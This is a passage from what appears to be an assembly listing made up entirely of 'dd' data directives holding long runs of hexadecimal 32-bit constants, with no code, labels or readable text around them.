987D156h, 700E25F9h, 0A1C494C6h, 0FC126B8Ch, 5D019E88h dd 47A188F0h, 836F1848h, 0FC2F5794h, 5E000123h, 0D250BB22h dd 2E96013Eh, 0A4F32B86h, 0C2D7E9Dh, 7810B5C1h, 0D07097Bh dd 38E5583Eh, 0DCB801B4h, 0E914E180h, 13014A27h, 0F7B6BDBh dd 7466FFh, 0B6AC20FBh, 0DCE08C4Ah, 15B586D4h, 8391917Ch dd 0F9F98745h, 956F3747h, 0C75ABA0h, 5AA08CE6h, 0D89E3EDCh dd 0CF180C02h, 2F347274h, 0D0E7868Ch, 0E0639F64h, 25DC16F8h dd 7687E326h, 54EBDA0Bh, 0B7BD800Ch, 0B53619C1h, 386495h dd 0D5A04A43h, 4985072Eh, 0C79F4Bh, 0C640A82h, 3F033D10h dd 4DF5CEC2h, 7A6CFA40h, 0E1AD0158h, 0E417D979h, 1D82123h dd 8DB8F4h, 178566E2h, 20FBF272h, 1B7906E0h, 4751B800h dd 787F0941h, 9FFB1D1Ah, 70BCC019h, 5DAEE517h, 8CE22398h dd 6B85FF16h, 91E0B4E6h, 4C75D39Fh, 0A65D7F0Fh, 0D4346582h dd 87E284C1h, 0E4E0B102h, 0E499756Bh, 90B21C92h, 2F3E8A00h dd 95B8070Ah, 0CC9BF84Fh, 408AE8C0h, 0B42536B7h, 8185E6Fh dd 2C28F408h, 0FD205211h, 611EEEE8h, 8927DA65h, 0C41DD738h dd 82817C11h, 2A5530E4h, 8A23A83Eh, 0D2879C02h, 483AD78Bh dd 5160244Dh, 0A0A327F5h, 809196D8h, 7C591F4Dh, 0F61C1348h dd 2E141404h, 977AD08Ah, 37774C89h, 6EE000CCh, 70F113C4h dd 0CBADB909h, 0AC91D532h, 51DFCB83h, 0F16F3A9Bh, 73198082h dd 0B7425333h, 0D0140008h, 0F406B99Ah, 0D905BDE7h, 11CD13DEh dd 6823D4C1h, 3C08AB05h, 0FBA591h, 0E77E5370h, 0BA2C5430h dd 940A97ACh, 75467E28h, 186AC0Eh, 7DC988E0h, 0DCB858BBh dd 60C238B0h, 0CB528FBEh, 0A0E3AB80h, 9D8CF69Ch, 32920080h dd 0DB976776h, 0FABE7010h, 1E544D00h, 21EFF664h, 0AC1A4E8Ah dd 64E688E0h, 9AAB241Dh, 0C096C838h, 0FCEC0D84h, 0B01F641Eh dd 0F1E8F2EFh, 7D746110h, 0E9DE351Ch, 0C96B8AC7h, 0C7C4C229h dd 60B0442Ch, 18FACAh, 0AC8D7F31h, 2B125E69h, 0B520DB16h dd 0C2D290B9h, 375D74FCh, 99804E0h, 0E08CBEE2h, 18E617FEh dd 0E3F852A0h, 0E8DAD6ACh, 878DDF85h, 284222D4h, 94D5B86Ah dd 8FBD5FB8h, 0C088881Ch, 0D3FBE32Ah, 3CC2A45Ah, 1DAC9063h dd 0E3BF5AE0h, 0E65FAFB4h, 0AE36A0A8h, 24C10057h, 9C1288E5h dd 5A04EEDAh, 0B340F6BCh, 9E8294C1h, 0C848CE2Ah, 0FFD0C077h dd 1801DAA6h, 59703E11h, 0F22AA8A4h, 90648E24h, 74E65800h dd 86C377BCh, 0F885089Ah, 5FF57089h, 3BFCBDh, 4E9CFB2h dd 0BD10985h, 6A70825Eh, 0B4255844h, 0A574452Ch, 0F4D4F05Eh dd 79460581h, 0AEE374B9h, 6AEFE474h, 9EC801E8h, 0E109A538h dd 0FB015C32h, 56A251DEh, 54302F9Bh, 951B077Bh, 69B16003h dd 39FB92C1h, 0D4BC54h, 0A337D6B7h, 0F9C21EE1h, 713082F2h dd 0DABFA16Eh, 0BA48024Eh, 0FA5DED0Dh, 9164975Dh, 0EE05809Dh dd 1459F130h, 0C85EEC0Eh, 0A4049410h, 3AE8CDAAh, 280EC4C0h dd 9F149222h, 370DC73h, 0DC531F05h, 0AFB6138Dh, 0DE104C02h dd 5C41E21Ch, 738250BCh, 815CD195h, 0C291CFEh, 34CA7119h dd 7084EF30h, 0B5877CA3h, 0E001ECCEh, 0F5A2C514h, 261BA16h dd 0ECD4C22Ah, 69084D55h, 8BF80E7Fh, 0F4107ED5h, 3A000AECh dd 0C53CEB7Dh, 2673F10Eh, 64F833EAh, 6013EEFDh, 880544E2h dd 3FC8BEh, 7C22BBD6h, 85BF31FFh, 9841AC0Ch, 7DE55972h dd 0C8949A6Eh, 0B10FC174h, 6D2ED430h, 683DF312h, 790F28F3h dd 782B297Bh, 373E6E80h, 635ABFDCh, 4847E040h, 3811AAC2h dd 628151F9h, 825603F6h, 8A444078h, 0D412F33Eh, 188211B0h dd 10D909A4h, 58B14397h, 0D925B428h, 449F04E6h, 781400C4h dd 9C01EB65h, 6400EEF5h, 9188BC86h, 0E6AF8502h, 0C4C5B5A1h dd 7897718h, 0FD49C083h, 0AA1B7361h, 0BC67F212h, 3125F0FCh dd 40A0C870h, 824E11EAh, 9B9A0CCh, 16FBB75Ah, 8CF09077h dd 6CC900EAh, 91AD0122h, 3A00F9C6h, 61023DD1h, 3B087A03h dd 0F64A4C27h, 755EF0C8h, 0BDB12D5Bh, 7F26F0F9h, 9C325100h dd 584F2Eh, 0E98F6A4Bh, 0A71C648Dh, 0B4090E4Ah, 0A500F3B1h dd 264C8E5h, 70FF0661h, 4B02D278h, 43300E12h, 0A43BD76Fh dd 0ECEBD6A8h, 7183827h, 0B3F95C8h, 42C47493h, 55294C4Fh dd 80846892h, 50A4B8DEh, 0B040C800h, 3182641h, 47CA7B8h dd 2E9CD462h, 20760B06h, 702CD32Dh, 0B7607C30h, 0E37FC18h dd 0E373D41Dh, 0E4AD95D6h, 0E8E609C4h, 65E1C4D4h, 1CC49CC5h dd 89D4DBEBh, 8E700216h, 4C67558Fh, 74638DE4h, 8E0F83B0h dd 6082D112h, 0FA216F19h, 66B8933Fh, 280A52C0h, 0DD1D0B00h dd 74DB9736h, 17471359h, 4AD8BCF8h, 76C8C0CEh, 0E0F9E5C2h dd 0F4A7C9Ah, 0C5DD1472h, 0E35E9003h, 2A762281h, 89B200A3h dd 248C530h, 0EB3960AFh, 37DFD075h, 0D898AF68h, 383DE4EFh dd 1DF861E8h, 0B060FFDFh, 0D2BF38C3h, 892B7781h, 0F0E05940h dd 0AD2F0F2Eh, 43C8A063h, 315C0560h, 7C48A5A2h, 0BA052Ch dd 0C11EDA8Ch, 0D5EA0489h, 42E42B2Fh, 0FECC62C0h, 0C740DCE0h dd 8140A00Eh, 0AE21D27Bh, 0D603CC30h, 7D1502B0h, 0F6D8BF87h dd 9130C655h, 1879D1F8h, 0CBDE0157h, 20E3FB58h, 6A8C2585h dd 0CCF668D5h, 0C9A8F2F3h dd 5C804CBFh, 0D00D80BCh, 0DA79132Dh, 726C25E8h, 5B9D9470h dd 0D3CB5874h, 46A52B05h, 3CAE6007h, 3BE98C6Ch, 6680A8DEh dd 6C08E758h, 0A4900295h, 0CC277DBFh, 4084B48Fh, 0B8FF9AA6h dd 8350009Ch, 0B746C387h, 0F90281B5h, 52E52461h, 0E03CED6Eh dd 0E7D086ADh, 8826709Ah, 712763BFh, 96CA848h, 3DA8EEBh dd 4FD60F0h, 0D2CCCAAh, 0D028F326h, 77D0AD84h, 0E7D3A8D1h dd 10908E6Bh, 0D84C01D6h, 0F97A6916h, 7459B828h, 0E1E20264h dd 70D407F5h, 0B18C655h, 84EB73E8h, 0A770CF8h, 99D75616h dd 0D20238BDh, 7D0B1151h, 5358A0FBh, 710F003Bh, 1154AEDFh dd 0FB9793B0h, 65CCD8F4h, 738C1725h, 5CE4A6B0h, 0D0070746h dd 418E6B6h, 44DDEBF3h, 77BC6028h, 0B3061C8Ch, 0FCE9C02Fh dd 0CFD514E1h, 0E31E2A04h, 0C8E87A85h, 0E88C89BCh, 609E0C5Fh dd 1B199901h, 0D8A4BF4Eh, 0A88A5407h, 0A0C100C9h, 22606936h dd 940E7789h, 0E2BA4516h, 7F3010DBh, 8F1C24E8h, 719DBE2Dh dd 77F14EE4h, 8071ED4Fh, 9C61808h, 78EED858h, 0F40C1386h dd 0D422EA94h, 0A4E17554h, 38E51012h, 95E09AC8h, 180C00C0h dd 0C0C1E34Ah, 721769A2h, 0C057CC31h, 0A9FB0230h, 63E0E7D8h dd 2038B897h, 0F6FC88C4h, 0C5B1FE09h, 0AF45CA4h, 5248F82h dd 0ECC01F6Dh, 0B0BE13F4h, 0CC80D4ACh, 39C1AB9Bh, 0C7D15A00h dd 0D55C47E5h, 0E7B10019h, 9F1E54E4h, 0B0A9869Eh, 8031081h dd 987F5C73h, 0AE944484h, 2838FC31h, 0BAEB054h, 54526300h dd 0B2A05400h, 7EE33C69h, 0D3900749h, 4FBDF4E8h, 12944ACAh dd 0E873BE70h, 361AE050h, 73C41C53h, 98D024FBh, 90B6A0DDh dd 8015C889h, 8E55943h, 0F402482Ah, 0C9728734h, 41CE2081h dd 0B404C82Bh, 24167788h, 8608BA97h, 0B9806C12h, 17F01400h dd 3DD85D65h, 3380654h, 904E0DE2h, 28988084h, 8D802777h dd 83044BF2h, 610E6320h, 64A71F7Ah, 6FEAFD73h, 1CA401F4h dd 6BDA0F3h, 0AE3F1029h, 0A8CF1EB8h, 18A65FB0h, 0A38ECDE0h dd 0C9FA60B8h, 18A28B4Ah, 0C71EF200h, 0B0E80D5Bh, 140150E0h dd 0D48F2AFDh, 1CD052BBh, 97B01AFh, 54069097h, 0DC342EDDh dd 7B88208Eh, 8AB185C0h, 4064B71Dh, 0F6B4D104h, 94B162A3h dd 0B83C207Bh, 4800DB01h, 0DE40415Eh, 5A2E2620h, 8514F0B5h dd 58D8F39Dh, 0A900B4C9h, 0A6FB3804h, 837D7FD0h, 44BD504Bh dd 0B9006CACh, 0DA2F28CAh, 0B715BE72h, 0F0BB1090h, 4A00E02h dd 57898827h, 0B7D780A9h, 1A310328h, 0ED90FF28h, 6812B0D9h dd 9408BC32h, 20D02884h, 2D491CB8h, 149B5A4Ch, 0BC559BC2h dd 20741CE1h, 2C889DF4h, 6561001Fh, 1ECEE756h, 0C3034CC4h dd 7CBD5B6h, 88B4B586h, 6B855FE4h, 93F100B4h, 44E7665Ah dd 321E1DA5h, 0C381C10Dh, 71BF60D2h, 7A52F97Ah, 1CE071A6h dd 921721FCh, 1DBB0EC1h, 0CC4E0E9h, 0D0603E5h, 81003588h dd 0C7CE6DCFh, 2F958B4Dh, 0E0741AA9h, 83D100F4h, 8B2CCE7Bh dd 9263EBDBh, 0C1C6D76h, 2A4D8D83h, 0C9209D0Dh, 7F507D0Ch dd 3181BC2h, 46FF08C1h, 19D77ED1h, 1FF6FABh, 0C1C8B022h dd 0F06BCDE4h, 0EFEBB5A6h, 0BD837609h, 5A59DD65h, 0DC2D8F1Ch dd 0F105F408h, 0B83A747Bh, 2702BB48h, 7107C6D5h, 0B817409Dh dd 0ACE76EE1h, 0BC3119B0h, 1D629D24h, 0AB11D300h, 1BD8B70Fh dd 67358D01h, 4D2463AFh, 0E1FF0C16h, 28136EFBh, 0A5219C6Ah dd 27390828h, 0D7040C62h, 7500F1CCh, 850BFD91h, 0E4161B2Eh dd 80105FEh, 27AACB8Eh, 611B821h, 0B816B95Fh, 0E1B9A049h dd 0E50AC0Ch, 0A1860F03h, 0D2291h, 685C3395h, 0D2FF42A6h dd 0B64D6601h, 0FC6037D7h, 2B01349Bh, 0C3C5FBBDh, 80CCDBFAh dd 0CBBCD7C5h, 82BB02B0h, 4E18069h, 0C0AF6DDFh, 0EE94AF7h dd 30F088h, 0D4B6F824h, 97AD692h, 0EE65CF02h, 86C90A01h dd 8DC71BABh, 13E4605Eh, 0E1001631h, 8B5437DFh, 0A0069985h dd 76656ACh, 5FAA8EBBh, 1309C333h, 0FC531801h, 5157505Bh dd 0D8F3B74Dh, 48D4DEF8h, 0D301B83Ah, 0CAF7510h, 486805Bh dd 0DE816024h, 0EE330236h, 41852345h, 0E861CE48h, 0F4B0A60h dd 26AD23Bh, 0B20417A3h, 0FE82F3B9h, 5B062375h, 966803ECh dd 6008341Fh, 1DBA6688h, 50610102h, 0DFD88B52h, 7CBB2E9h dd 0CB0077CBh, 82B1C69h, 79958913h, 0C7FF834Eh, 0D66E1B71h dd 5CD6EFAh, 5E2A34D4h, 463CC0BEh, 55FEAA6h, 59B8E1B9h dd 0F170D200h, 23D0170Fh, 0DDE91287h, 45DBAA01h, 0ACFBD3C2h dd 0AC14C60h, 0D7274082h, 0F8A750C9h, 51B1C03Eh, 5F97C380h dd 71A0C770h, 8B1A77B3h, 22742B5h, 0C0329C5h, 3276893Eh dd 6B92AF9h, 230855ACh, 0B88D0F7Ah, 0EA068917h, 9A12DE6Eh dd 21BE000Ch, 40D2C97Dh, 0F55B60F0h, 668057FCh, 1D80F83Eh dd 0E2C20D02h, 4C617645h, 157E957Ah, 7C1800D6h, 3D6975D2h dd 8E8E628h, 5BF1BF00h, 46893FA9h, 7469004h, 7EB796D8h dd 6AB33750h, 207108A6h, 99952902h, 0B5FF0224h, 0BD23CB90h dd 741A492Fh, 3FFC10Eh, 64DDC21Fh, 0BFFA0067h, 2383B9A2h dd 0B7018B48h, 50998701h, 16E3D98Ah, 25830FB9h, 0BF9B029Fh dd 396694B8h, 0F7C98801h, 0FAC23544h, 940A050h, 61DE2F75h dd 3C6C6856h, 2CEB58E3h, 2C69850Bh, 6980462Ah, 0C0521F01h dd 45A82B90h, 0C35F5085h, 0AEE4FA06h, 0FDB0A2A6h, 56718778h dd 602E9706h, 5A2112E8h, 72B832h, 0BF692764h, 0ECCD11Bh dd 464DF6FAh, 660BC880h, 0FC64F9BEh, 0F8FA9D66h, 36126D0h dd 0DF6DDD52h, 7D350141h, 6DA7F8CBh, 8811BAF9h, 2BF618Ch dd 79FFC97Fh, 5EC685C7h, 5C1343D6h, 939E6A10h, 1F37BA4Ch dd 0EBE94AF8h, 6EBE6617h, 0BF3300FBh, 0E83FDE65h, 0B601B02h dd 840566B5h, 6118DB80h, 620AE900h, 700C3050h, 0F447311h dd 10E8C101h, 0E3070E5Ah, 5803E04Ch, 406E983h, 36EBE775h dd 6402EF36h, 190BF71Ch, 2829501Bh, 661821A0h, 57011358h dd 97811B84h, 0D2B27BC0h, 0ABDF6500h, 0AAD83D59h, 12A46901h dd 5FB96057h, 0A07BF0D4h, 8A05A9F5h, 85081EC5h, 12899763h dd 0C79250A6h, 274850B3h, 7106224Dh, 839D054Fh, 82511E27h dd 0DF425F75h, 0F4331D07h, 10290A5h, 7585DBDh, 219843Ah dd 0B086F509h, 71BD333Ah, 1816798Bh, 7682653h, 0F2DF01ECh dd 6106C7CAh, 126CCA1Ah, 0BB864700h, 29C3B808h, 368A056Bh dd 0BB50D1E7h, 59DECC8h, 4FD2DECEh, 82998489h, 6A92FA5Ch dd 0C00AEDFDh, 353DE431h, 0DCDBA4C7h, 0F03D82AAh, 2DD8BC9Bh dd 94A60012h, 0DEDC176Bh, 29125610h, 0E451ED85h, 0D37898ACh dd 10BB9891h, 58187D85h, 28C91004h, 7A1B8050h, 0C4862721h dd 94A844D7h, 4755E99Ah, 0D143E003h, 0B57DBD89h, 0C2752F92h dd 98F6B73Dh, 0A5882050h, 0DA29922h, 29B6BAC3h, 92EB889h dd 0D8CA2C5Fh, 0C5BDDA81h, 86EF8B06h, 0A4BDF7B8h, 93A79780h dd 9ABE7238h, 8B1952FCh, 0C513FC24h, 4368256h, 0AB068129h dd 0FB425B4Fh, 53A6A5BDh, 3F0088FAh, 0BC5CC700h, 0B7EA599Eh dd 0B501155Bh, 0FC5B9835h, 4ADE24AFh, 0FD4B97A0h, 0A54D7F14h dd 808C9ABEh, 663AE209h, 6FDC9529h, 779A6B1h, 6820F00h dd 25A7068Ah, 3B119025h, 37422D0Dh, 8862273Bh, 8E06820Ch dd 0BD332106h, 8C65565h, 36810D22h, 0F09C4245h, 4A28F7E4h dd 0AA2957C0h, 3D5B8933h, 298A60FFh, 0BE8E75B5h, 10F08B96h dd 6FD38561h, 8047A13h dd 3270DD7Bh, 359564C1h, 0DA404975h, 567AACD8h, 87563419h dd 8B38ADB0h, 2E719D18h, 20AFD35Fh, 579F4C42h, 9B6DD229h dd 0CF51F1C3h, 0D108B4D5h, 22029085h, 4FF59063h, 85534EF9h dd 2A0C112Dh, 1FACB5ADh, 14EB7C24h, 28959DE1h, 0C6BDB700h dd 7CB7F59Dh, 6D40689Fh, 0E95620E8h, 0ADB55F89h, 2525583Ah dd 338B8D19h, 9BE9C340h, 93FF71F3h, 535B7803h, 0EC1EF701h dd 8A0FB9ADh, 52899438h, 0A1AFE500h, 0C14C8B5Bh, 0E9D5346Ah dd 4A45B6AEh, 7AE3FABh, 4B35BF03h, 0F7C6C1B2h, 4201E744h dd 6CB58C53h, 0A92A2640h, 0B171000Fh, 0AD3967F5h, 0FDFF5F64h dd 0D0D30177h, 90AAFC0Fh, 0D2C8EB31h, 32564A50h, 0D7C15744h dd 7D5FFC90h, 0B418C434h, 92E1DBB6h, 11F30D3h, 7C572B5Ah dd 0BA5B52ABh, 0C48ACE9Eh, 96AB04AAh, 1B233BEBh, 0AAFA1800h dd 2C6316F3h, 0B681E8Ah, 702C083h, 42E9018Dh, 0F8997150h dd 0D79C61D9h, 5EEE90A5h, 2EE00016h, 644B7FC8h, 809EDCDh dd 5D6A660Ah, 0A2C0CA4Dh, 47B3D7Ah, 0BE845930h, 8D087DDh dd 0CF805682h, 0A0F67023h, 95C7313Ah, 0D54A43DCh, 158417DEh dd 209301D6h, 717DE868h, 5DAC2BF9h, 0B9B2F95Fh, 1651E5ECh dd 0D19D03A4h, 2AD1FFC4h, 0F400C8FDh, 0F1E34551h, 6A011698h dd 0A4720E4Fh, 7DC65F53h, 0C6E5C976h, 0DCB5DEEBh, 8F1D3A44h dd 11C54381h, 44F70212h, 873607C3h, 0E0604EB4h, 75612EEBh dd 5281C605h, 53E0519Ah, 5FAF1271h, 7CD3BE90h, 15B1A9A3h dd 0B948F4h, 9DEB8C09h, 0C2C7E587h, 0E8D4E413h, 0A4A24420h dd 949FE65Dh, 5003398Bh, 0E78A5760h, 61DD31C7h, 0C7A67E90h dd 4F4796E0h, 0D0F7A51Dh, 0BF0F41C2h, 0BF2CECDBh, 0AD70AA53h dd 4EB00018h, 0F586F9A4h, 0BB009396h, 6879CF5Bh, 950E64E9h dd 0B5503EDEh, 0F7608196h, 0AD092370h, 0CF9004h, 1298BDAFh dd 3F490A23h, 6093B2EDh, 58F021AAh, 5E5B3414h, 0ACEF04BCh dd 81F66159h, 36FD0AE0h, 53557001h, 93E758C9h, 4A91D370h dd 0FD2D4407h, 0B234B390h, 7F0A3017h, 1621D07h, 0E80BB19Dh dd 8112A53Ah, 20C06850h, 802191D9h, 84916AF8h, 160178B6h dd 0B005A40Ah, 6D713B95h, 27803824h, 467FA3DFh, 3E7E9568h dd 48FBEF80h, 7345513h, 4C171B75h, 31BEF0B6h, 0FD9D785Bh dd 0E4F5781Ah, 4213008Dh, 0ADAB336Ah, 0C9E4D68Eh, 0D880CD00h dd 408BE317h, 0AA043C4Fh, 5F45EB89h, 8D3C445Fh, 0EF2EE3C3h dd 3F80CAF0h, 95D3DA05h, 0FC2609Ch, 6B62202h, 0FAFFF285h dd 7D80B4DBh, 0DCB1668Eh, 0F579009h, 25504681h, 8D2213F1h dd 976F2029h, 82F9E262h, 505195C8h, 59E91336h, 73B3BF01h dd 2FDD2800h, 36A40D77h, 97AD8926h, 5D6A0C00h, 0E1B05F98h dd 0E6025B7Ch, 0F971E470h, 69635857h, 56024F32h, 800F241Dh dd 9509C8B6h, 0EB024A69h, 58602232h, 0AF2B4FC6h, 2910C4CAh dd 4E612E03h, 4E89938h, 0E850415Ah, 0D2E2F766h, 603B9478h dd 2B6160CBh, 8856C87Ah, 290D10A8h, 0CE29676h, 0B77F01A9h dd 16E9DF28h, 0A6CF8100h, 8B337151h, 13CD4F85h, 2A50C932h dd 0D83CC7ACh, 3C666380h, 27110199h, 0BEA64C00h, 89BF7A0Fh dd 5DC42CDDh, 7C0090Dh, 0C83E45Dh, 16098D29h, 0C1369D91h dd 0E02A0C08h, 0C45603BFh, 0D03B0EADh, 5F27E822h, 8099E960h dd 0ACB25ED3h, 6150FB31h, 178CDF30h, 0EE17F5E1h, 0A57F9C1Ch dd 93107D60h, 5C95238Fh, 33A44926h, 36131220h, 0E1832BD1h dd 4029FC7Ch, 0DAB70FB6h, 161EA58Ah, 0BA2F34FEh, 0F000BDE7h dd 1BB87043h, 45181808h, 0D6E5BF9h, 49958925h, 64CFAB2h dd 1B40C0B2h, 1315DCE9h, 3D5098Dh, 63BBD680h, 61BAB1E3h dd 0F47057BBh, 0AD9A0686h, 0DE4F8707h, 0ED94F862h, 0BE595D13h dd 80DE354Bh, 1FA091Fh, 7500BEECh, 7BF66EDh, 92E4B941h dd 78209361h, 0CB732127h, 849D9614h, 0BBFC02D5h, 40DB59C5h dd 1F90C30Fh, 2A5A4270h, 2B1940F0h, 0B501C00Bh, 0BA6941CDh dd 80D355C2h, 0F279D0h, 5D886DA4h, 898501F8h, 0AD12349Ah dd 0FE0C233h, 93FFB4D0h, 805BDBF4h, 3E2D8D5Fh, 0EA6D4D75h dd 0BF0011BCh, 0B0A7EE33h, 131B5E87h, 12B529A6h, 4AB6B6B6h dd 62802CDBh, 505EBA8Ch, 108D0F2Eh, 1086BB40h, 0F80E2DC1h dd 0EDF7421Ah, 0D038C01Dh, 8227437Ah, 28BF04A1h, 0DBD7D9B9h dd 20BF975Ah, 0DFF32949h, 0F78A694Bh, 21AE05D2h, 5B3C6F1Ah dd 475D2ECh, 0F2713F3Dh, 0A2F8B82Ch, 0B8FC245Ch, 0F88B84C7h dd 0EED29BB8h, 2FC99BDAh, 77FFED98h, 4E14DD1Ch, 496A4000h dd 0E3BE730h, 0CBEE4F4Ah, 0E9F07F8Ch, 34600B41h, 4024BCE1h dd 0A3A059C4h, 89ED4503h, 251D41B5h, 0C5C55B28h, 0E159CC11h dd 2A72EBBCh, 498E6362h, 0D5720C13h, 59E40995h, 52AF44DCh dd 18496E04h, 66E3C0B8h, 0F6E975Bh, 38CC6F0Eh, 233749D3h dd 898FAB7Bh, 6B719A8Dh, 8152A466h, 2E132B57h, 9AEBE212h dd 6E5EC025h, 0B0558B76h, 0F4CC058Eh, 8093A0Bh, 62252C8Ch dd 0A5FB55EBh, 9B302659h, 2B0341F1h, 0A911DD4Bh, 0BE4D777Eh dd 0DE41E967h, 342B2CDAh, 0BD83DC60h, 1912EBFBh, 0E3E3DFBFh dd 0A5901E69h, 0BB0E6690h, 815055DFh, 3DC31C94h, 996DFFEEh dd 730348C0h, 0EC43E84Bh, 8D6A622Bh, 68000A21h, 177128D3h dd 9DABB61h, 0CF703460h, 6E2B2C18h, 2519B518h, 0CB4E4F7Ch dd 7ECE7495h, 46250600h, 0D0F4F802h, 0C476E626h, 0B93B63EEh dd 8C16ACD7h, 9F6EF904h, 23A10DE9h, 76B8692Dh, 88BF6001h dd 0CD90123Fh, 1C3D9741h, 0B8FE6407h, 0BF3E5ED3h, 0E9001923h dd 73CD3A93h, 9D2324EDh, 0F55949E4h, 0DCE38183h, 5C57E2D9h dd 0FC6C2557h, 24409D71h, 0A6C09BBh, 17B3278h, 16514DA1h dd 4E098818h, 410689ECh, 4CD2C730h, 0C3801269h, 4EA2E1E8h dd 0C01C88EEh, 2511AFF0h, 47A61705h, 0FC0B8F5Fh, 96CDA431h dd 9EBA0780h, 406A9650h, 162A5C15h, 8032D43Fh, 0FC0C9604h dd 5FFE9AB1h, 809BAC72h, 0C8B550C2h, 47CC00ACh, 0B65BB715h dd 7EE41F65h, 0E067555Eh, 52F696E5h, 0B88812E0h, 0DB04437Fh dd 749E92E3h, 0DBD313BCh, 0B6FF82C2h, 80CEC91h, 415BD89h dd 5A7C6807h, 0FE8AF570h, 924F681h, 0B09A983h, 328D0702h dd 5DE9FA5Ch, 7606FCDh, 0CFA32ADh, 19BAD91Ch, 2940955Eh dd 0DFB32750h, 0FF37118Bh, 0A28FBF80h, 17946C69h, 4D159509h dd 7C64313Ah, 0FFDA4ABAh, 41C11DC8h, 0FE80B06Ah, 0F9891A43h dd 0BD482931h, 0F3618934h, 2F78717Ch, 6E2E182Dh, 0D309009Dh dd 99DEB772h, 8E83003h, 85C6311Fh, 0C441BB07h, 0CADB66F9h dd 0F3525FBDh, 9518C124h, 5F4A1607h, 44907119h, 1EF7AB65h dd 0B08358A0h, 8B7E0FE4h, 0BF661BC2h, 525F6105h, 0EDB75DA7h dd 32CF4000h, 9367ED4h, 0D33D62F3h, 0EF7888CCh, 5782C513h dd 1365BE04h, 0AE85E312h, 34BC5D4Dh, 60D0CA12h, 3001F90Eh dd 404D8F50h, 813B612Fh, 31989CBh, 449A791Eh, 6EEF5790h dd 78E131ADh, 382F08B1h, 28A61B6h, 5607D9C7h, 8D89E0F5h dd 0BA972815h, 8AED43A6h, 0E9FF5C0Ch, 0BB801D37h, 0DEA6ECA9h dd 0C8BF043Ah, 0BC207E5Ah, 3F04D7AEh, 0B2AF891Ch, 644CC9h dd 2F08B064h, 95D98B50h, 4961DD88h, 14DAE500h, 989749A0h dd 27BD0385h, 0D4C82C2Dh, 0D55215F3h, 6BEB4B66h, 0C79B0173h dd 11BD9501h, 5F83B904h, 270D77Ah, 16E60F5Ah, 9B5E1F38h dd 883D7D25h, 0B32B2701h dd 0FB4536E8h, 0DA5A2FB2h, 0C0198858h, 0C7A35ADCh, 2D01A02Ch dd 79326909h, 0BB822DC2h, 0C55E7AF1h, 7948B709h, 3444A7C1h dd 0A9CE6E0Fh, 8E598019h, 4B2872CAh, 88AACDF5h, 312B55Eh dd 1FDDBD0Bh, 0E8D9B949h, 0CF617DBh, 0FA9A05Ch, 23DEBF24h dd 0A9F780C1h, 0EFD27E7Ch, 0EF92019Bh, 253377D8h, 4202F1BDh dd 0E6F16096h, 2A886400h, 23EB6Ah, 2266B130h, 57812ECBh dd 764913A8h, 0F691CC00h, 36DBC82Ah, 560605D6h, 0F1615E87h dd 0F204A414h, 502C3C0Bh, 92BB17D8h, 10971A46h, 7AABE18h dd 0E2A1CA1Ch, 35FA2541h, 289BE818h, 0EBA4296h, 8C0F8CB0h dd 902C791h, 5E01F5BDh, 6E29E7ECh, 0E67924E9h, 4F092AC7h dd 8B3F40E9h, 0E307230Ch, 0FC6EE177h, 6519B7B2h, 1C09AD04h dd 23A8B671h, 4D0A3927h, 6014E46Fh, 12D5BBC5h, 0F36CCCA5h dd 0F4015FAEh, 5F296EDBh, 6995282Fh, 0DAAB47D2h, 9CE8C0D3h dd 44FB496h, 3A9C828h, 0DDCEC1E2h, 0BA2D2F08h, 0CAC0310Fh dd 731876FDh, 0E8E54E03h, 94B34268h, 275F9EACh, 0AB2DD1B2h dd 0EF80CC97h, 0E55F1825h, 0DE2CAC9Bh, 8EA95D00h, 0AF62259Ah dd 3DDE0533h, 9074DB80h, 0E926D60Ch, 0C7C5084Bh, 29B891A9h dd 84E04C2Fh, 931D32ECh, 0E1BCA6C1h, 9A844153h, 0BD1137CBh dd 0DA6BD6D8h, 0D7A9D400h, 7EBCBBB0h, 904C22F4h, 0C0B4CE01h dd 0B6671CE8h, 22D0289h, 0F3C8B28Dh, 0DE901356h, 943E050h dd 90585A79h, 600B4D5Dh, 4069EE1Dh, 772EFD7Eh, 0E10B1068h dd 0C9EF4403h, 46E85B6Eh, 55822C99h, 85FA75D2h, 0C5061701h dd 0F167BDC4h, 0A75F9040h, 0DF054DEBh, 0BB212EBDh, 0B814C589h dd 1910860Bh, 4A910044h, 862EF6FDh, 909FD2ACh, 0FAEDD8h dd 7F83B52Dh, 5D639F9Ch, 5F04D700h, 0DA8B6690h, 0C09FA050h dd 1C30F3EAh, 7A095159h, 0EC80532Ch, 2E12E538h, 0D36FAA00h dd 5214C158h, 0D56E020Fh, 5F76B372h, 221559C0h, 0F586B884h dd 0BF5E5F12h, 7B1446D6h, 0B8DDF94Bh, 0FCABAC2Ah, 7340003Fh dd 41CCC676h, 0FF274CF7h, 0CB766DD1h, 842FB07Bh, 44160CA9h dd 0BCB0990Ch, 1FAAA2D0h, 0F801491h, 8F59D01h, 0DBCDA997h dd 4E2F7074h, 0E0B2E92Dh, 802E89EEh, 8A0B5290h, 0D1505BDCh dd 859B00AAh, 67AB1D3Eh, 7E6F5F09h, 8B1D003Fh, 9B905B77h dd 0DBAB7880h, 91A1CB00h, 82738C71h, 800F25F1h, 8B46AF64h dd 2503085Ah, 81C75A2Ch, 70F6490h, 5BE9257Bh, 6908B4E7h dd 5FE02DA7h, 0F8C4B803h, 600E240Dh, 5F847C3Bh, 3261C88Eh dd 31B47AF6h, 0C0F07973h, 0DB06AA92h, 0A0BA16A8h, 42E30284h dd 6F38028h, 0FB1350D4h, 0CF9B54C4h, 0BF030FCFh, 1182CCD4h dd 0D3C9845Eh, 0F53D714Dh, 8E5EF2A0h, 72BDFCC4h, 708C15ACh dd 45BB0055h, 813C7E8Fh, 0F50040F7h, 0FF6A310Dh, 5CE59D09h dd 749C6132h, 0E00CA60Dh, 7DA537E6h, 988966Fh, 4A7B7A31h dd 8502811h, 0B0204021h, 0BD2689E0h, 0E68B60C1h, 88FC670h dd 0A4D9D23h, 0B996891Dh, 71E40944h, 13DF4ABh, 0DC1F0600h dd 8E76AB46h, 0C564CCA9h, 0AE975BD1h, 5922FC64h, 0B6126CFBh dd 941346C8h, 0CF120AA9h, 66F2430Dh, 0C8419E65h, 5704C1FAh dd 5FF9B70Fh, 29045DBCh, 622E51B5h, 0E51F8F89h, 0E240119Dh dd 8BFCC82Bh, 8068B1D1h, 0A2655B5Ch, 0BB1FDA97h, 1EAAE62Ch dd 48C1B525h, 41F985FFh, 80487C1Ah, 48B0A214h, 8B0B098Eh dd 46785BFEh, 45B5890Dh, 20FA2F17h, 